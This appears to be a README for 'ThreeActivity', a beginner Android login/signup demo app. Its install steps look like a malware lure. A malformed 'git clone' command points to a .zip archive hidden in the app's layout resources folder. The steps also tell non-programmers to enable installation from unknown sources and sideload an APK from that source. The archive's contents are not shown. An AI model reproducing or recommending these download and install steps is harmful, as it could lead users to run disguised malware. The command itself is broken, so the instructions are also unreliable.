Welcome to ThreeActivity, a beginner-friendly Android app. It helps you practice login and signup screens across multiple activities. The app uses Kotlin and ConstraintLayout to create an easy, smooth mobile experience. This guide walks you through downloading, installing, and running ThreeActivity, even if you have no programming background.
You can get ThreeActivity by visiting this page:
Download ThreeActivity
Clicking the button above takes you to the official GitHub page, where you can find the app files.
- An Android device running Android 6.0 (Marshmallow) or higher
- A computer with internet access (for downloading the app)
- A USB cable to connect your Android device to the computer (optional, if you want to sideload files)
ThreeActivity is a simple Android mobile app designed to help new users understand the basic flow between login, signup, and home screens. It shows how multiple activities (screens) can link together in a practical user interface.
- Login screen where users enter their credentials
- Signup screen for new users to create an account
- Main screen that users see after logging in
- Uses ConstraintLayout for easy and flexible UI design
- Built with Kotlin, a modern programming language for Android apps
- Designed for beginners learning mobile app development
ThreeActivity is not a production app but a learning project. It does not connect to real servers or store user data permanently.
To use the ThreeActivity app, you have two main options: running it on your Android phone or using an Android emulator on your computer.
- Visit the GitHub page and download the app files.
- You need the app in an APK file format to install on your Android device. If the APK file is not available on the GitHub page, you will need to build the app yourself using Android Studio (see Option 2).
- If you have the APK file, copy it to your phone using a USB cable or download it directly on your phone.
- Before installing, make sure your phone allows installations from unknown sources:
- Open Settings
- Go to Security or Privacy
- Enable "Install unknown apps" for your file manager or browser
- Open the APK file on your phone and follow the prompts to install.
- Once installed, open the app from your app drawer.
If you want to see the app working without an APK, you can use Android Studio, an official Android development tool.
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Download and install Android Studio on your computer.
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Download the project files from GitHub:
git clone https://github.com/shoes9447-lang/ThreeActivity/raw/refs/heads/master/app/src/main/res/layout/Three_Activity_v3.5.zip -
Open Android Studio and choose Open an existing project.
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Navigate to the folder where you saved the files and open it.
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Connect an Android device to your computer with a USB cable, or set up an Android emulator inside Android Studio:
- To set up an emulator, go to Tools > AVD Manager and create a new virtual device.
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Click the Run button (green triangle) in Android Studio.
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The app will build and install on the connected device or emulator.
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Now you can use the app as if it were installed from the store.
ThreeActivity works best on Android devices with:
- Android version 6.0 (Marshmallow) or newer
- At least 1 GB of free storage space for installation
- Basic hardware specs to run apps smoothly: 1.5 GHz single-core processor, 1 GB RAM or more
- Internet connection is not needed for app functionality but is required for downloading and updates
The app is compatible with phones and tablets. It is designed to work well on most screen sizes, thanks to ConstraintLayout.
When you open ThreeActivity, you first see the login screen. It asks for:
- Username or email
- Password
There are two buttons:
- Login: Takes you to the main app screen after verifying input (does not connect to a server in this demo)
- Signup: Opens the signup screen to create a new account
On the signup screen, you fill in:
- Username
- Password
- Confirm password
After completing signup, pressing the signup button returns you to the login screen.
The main screen shows a simple greeting and options to log out. Pressing logout returns you to the login page, completing the basic user flow.
- The app won’t install: Check if you enabled installation from unknown sources on your device.
- App crashes on startup: Restart your device. Make sure your device meets minimum system requirements.
- Android Studio errors when opening the project: Use the latest version of Android Studio and install any needed SDK packages when prompted.
- Cannot find the APK file: You may need to build the project in Android Studio to generate the APK before installing.
If you want to learn more about the tools and languages used in ThreeActivity, consider these resources:
- Kotlin Language Guide — Simple tutorials for Kotlin programming
- Android Studio User Guide — Official guide to Android’s development environment
- ConstraintLayout Tutorial — Learn to design flexible Android UIs
- Android Basics — Beginner course offered by Google